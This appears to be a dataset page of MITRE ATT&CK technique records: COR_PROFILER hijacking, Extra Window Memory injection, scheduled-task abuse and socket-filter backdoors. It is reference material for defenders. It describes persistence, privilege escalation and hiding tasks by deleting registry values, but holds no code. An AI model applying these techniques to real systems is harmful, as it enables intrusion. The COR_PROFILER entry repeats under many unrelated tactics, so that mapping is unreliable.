Datasets:

chihhh

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Attack-combine

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Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0006 external_id: TA0006

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0002 external_id: TA0002

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0040 external_id: TA0040

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0003 external_id: TA0003

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0004 external_id: TA0004

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0008 external_id: TA0008

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0005 external_id: TA0005

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0010 external_id: TA0010

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0007 external_id: TA0007

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0009 external_id: TA0009

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0042 external_id: TA0042

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0043 external_id: TA0043

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0011 external_id: TA0011

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

('enterprise-attack',)

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/tactics/TA0001 external_id: TA0001

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM. Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

enterprise-attack

Extra Window Memory Injection

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/011 external_id: T1055.011 source_name: Microsoft Window Classes description: Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx source_name: Microsoft GetWindowLong function description: Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx source_name: Microsoft SetWindowLong function description: Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process source_name: MalwareTech Power Loader Aug 2013 description: MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017. url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html source_name: WeLiveSecurity Gapz and Redyms Mar 2013 description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017. url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/ source_name: Microsoft SendNotifyMessage function description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel. An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

enterprise-attack

Scheduled Task

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/005 external_id: T1053.005 source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain source_name: Defending Against Scheduled Task Attacks in Windows Environments description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022. url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 source_name: Tarrask scheduled task description: Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022. url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen source_name: SigmaHQ description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022. url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020) Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

enterprise-attack

Socket Filters

